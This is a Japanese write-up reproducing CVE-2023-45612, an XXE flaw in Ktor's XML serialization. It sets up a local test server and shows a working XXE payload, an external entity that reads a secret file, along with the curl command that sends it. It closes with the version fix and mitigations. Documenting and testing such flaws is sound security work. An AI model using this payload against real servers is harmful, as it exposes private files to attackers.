
Ktor の XML シリアライゼーションにおける XXE(XML eXternal Entity)攻撃を可能にする高深刻度のセキュリティ問題の再現。
CVE-2023-45612 は、2023 年に修正された、Ktor の XML シリアライゼーションに対する XXE (XML 外部エンティティ) 攻撃を可能にする深刻度の高いセキュリティ問題です。
以下は、この問題を再現した詳細な方法です。
まず、XML ファイルを処理するサーバーが必要です。IntelliJ IDEA から Kotlin プロジェクトを作成し、必要な Ktor の依存関係とシリアライゼーションプラグインを使用するために build.gradle.kts を変更します。 io.ktor:ktor-serialization-kotlinx-xml が、ここで注目する依存関係です。バージョン 2.3.4 が脆弱なバージョンで、2.3.5 が修正済みのバージョンです。
次に、プロジェクトのルートに sensitive_infos.txt という名前のファイルを追加します。このファイルは、プライベートであり、サーバーの外部からアクセスできないことを意図しています。このファイルの内容は "This informations should be secret and not accessible by sending a .xmf file." です。
次に、サーバーを Main.kt に実装します。このサーバーは、クライアントから送信された XML を Person クラスの String (name) にシリアライズすることで処理するように設計されています。その後、サーバーはクライアントが送信した名前を確認する応答を返します。サーバーを起動したら、通常の使用と悪意のある使用を試すことができます。
クライアントは自分の名前を含む XML ファイルを送信し、送信した名前の確認を受け取ります。これは次の XML ファイルでテストできます:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
およびコマンド:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
クライアントは、URI の形式で置換文字列を提供することでエンティティを定義し、悪意のある XML ファイルを送信します。すると、サーバーからアクセス可能な秘密ファイルの内容を受け取ります。以下に、サーバーのルートにあるファイル(sensitive_infos.txt)を使った例を示します。ただし、サーバーが Linux で実行されている場合、例えば file:/// を使用して、他のファイル(XML パーサーがそのコンテンツにアクセスできる場合)にも到達できる可能性があることに注意してください。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
およびコマンド
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
サーバーは "Name sent: This informations should be secret and not accessible by sending a .xmf file." と応答します。これは、実際に秘密情報にアクセスしたことを証明しており、したがって脆弱性が存在することを示しています。
ちなみに、build.gradle.kts 内でバージョンを 2.3.4 から 2.3.5 に変更すると問題が解決し、サーバーは悪意のある入力に対しては "Name sent" とだけ応答し、通常の入力に対しては通常の応答を維持します。これにより、セキュリティ問題が 2.3.5 で解決されたことが確認できます。
ユーザーを決して信頼しないでください! Ktor パーサーは、例えばエンティティを含むすべての XML 入力ファイルを破棄するなどの方法で入力をサニタイズできます。
ユーザーにとって制限が少ない方法として、Ktor は external-general-entities と external-parameter-entities のフィーチャーを false に設定することで、デフォルトで外部エンティティを無効にできます。これにより、ユーザーは自分の XML ファイル内でエンティティを宣言できますが、そのエンティティは外部リソースにアクセスできなくなります。
コードが XXE 攻撃に対して脆弱でないことを確実にするために、Ktor の CI/CD に XXE 攻撃テストを含めてください。